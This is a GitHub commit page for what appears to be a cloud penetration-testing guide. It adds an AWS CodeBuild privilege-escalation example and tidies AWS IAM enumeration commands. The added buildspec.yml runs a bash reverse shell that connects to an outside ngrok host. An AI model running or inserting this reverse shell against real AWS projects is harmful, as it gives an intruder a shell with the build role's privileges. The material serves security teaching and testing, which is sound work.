Skip to content

Commit

Permalink
GITBOOK-487: change request with no subject merged in GitBook
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Dec 10, 2023
1 parent 792e744 commit bf5c546
Show file tree
Hide file tree
Showing 2 changed files with 14 additions and 1 deletion.
Original file line number Diff line number Diff line change
Expand Up @@ -274,6 +274,19 @@ aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
```

You can use something like this **builspec** to get a **reverse shell**:

{% code title="buildspec.yml" %}
```yaml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
{% endcode %}
**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges.
{% hint style="warning" %}
Expand Down
2 changes: 1 addition & 1 deletion pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
Original file line number Diff line number Diff line change
Expand Up @@ -71,10 +71,10 @@ aws iam list-attached-group-policies --group-name <name> #Get policies of group,
# List roles
aws iam list-roles #Get roles
aws iam get-role --role-name <role-name> #Get role

## inline policies
aws iam list-role-policies --role-name <name> #Get inline policies of a role
aws iam get-role-policy --role-name <name> --policy-name <name> #Get inline policy details
## attached policies
aws iam list-attached-role-policies --role-name <role-name> #Get policies of role, it doesn't get inline policies

# List policies
Expand Down

0 comments on commit bf5c546

Please sign in to comment.